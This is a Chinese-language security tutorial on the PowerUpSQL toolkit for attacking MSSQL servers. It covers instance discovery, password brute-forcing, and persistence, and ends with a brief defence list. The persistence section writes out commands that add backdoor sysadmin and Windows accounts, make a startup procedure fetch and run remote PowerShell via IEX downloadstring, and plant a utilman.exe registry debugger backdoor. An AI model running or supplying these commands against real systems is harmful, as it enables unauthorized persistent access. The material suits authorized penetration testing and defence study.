No.1
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2
前言
PowerUpSQL是NETSPI开源的针对MSSQL的测试套件,包含发现网络中mssql、测试口令、利用mssql获得持久权限以及利用mssql攻击域等功能。
No.3
发现MSSQL实例
- 发现本地实例
- 通过SPN查找域内mssql实例
- 通过广播查找mssql实例
- 通过UDP查找网络内的mssql实例
接受机器名或者IP
No.4
获取MSSQL信息
- 获取配置信息
- 获取服务信息
- 登录信息
No.5
测试口令
- 获取默认密码实例
作者在脚本中提供了默认安装的一些实例名和默认密码,但是不包括MSSQLSERVER和SQL Express(避免账号锁定)。可以根据自身需要加入自定义的账号密码
- 使用字典测试
命令的含义是通过管道爆破可以连接的发现的实例。此外,该函数还可以尝试通过Invoke-SQLOSCmd执行命令
No.6
持久性
- 启用存储过程
在SQL Server启动时添加数据库管理账户
Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewSqlUser EvilSysadmin1 -NewSqlPass Password123!
添加windows管理员
Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewosUser Evilosadmin1 -NewosPass Password123!
执行 powershell命令
Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -PsCommand "IEX(new-object net.webclient).downloadstring('https://raw.xxxxxxusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1')"
- 写注册表
Get-SQLPersistRegDebugger -Verbose -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Instance "MSSQL" -Username "sa" -Password "_PL<0okm"
RDP后门。需要当前mssql用户有写注册表权限
作业
除了CMD,还支持VBScript、powershell、JScript
此外,工具还集成了一些通过mssql执行系统命令的方式
Invoke-SQLOSCmd
Invoke-SQLOSCmdCLR
Invoke-SQLOSCmdCOle
Invoke-SQLOSCmdPython
Invoke-SQLOSCmdR
- 触发器
工具支持创建DDL和DML两种触发器
Get-SQLTriggerDdl -Instance SQLServer1\STANDARDDEV2014 -username '' -password ''
Get-SQLTriggerDml -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb -username '' -password ''
可根据实际情况定义触发条件
No.7
获取域信息
- 当前域用户信息
- 域用户
- 组
- 域机器
No.8
防御方案
- 增加账号的口令强度
- 用低权限账号连接数据库
- 修改默认实例的默认口令
END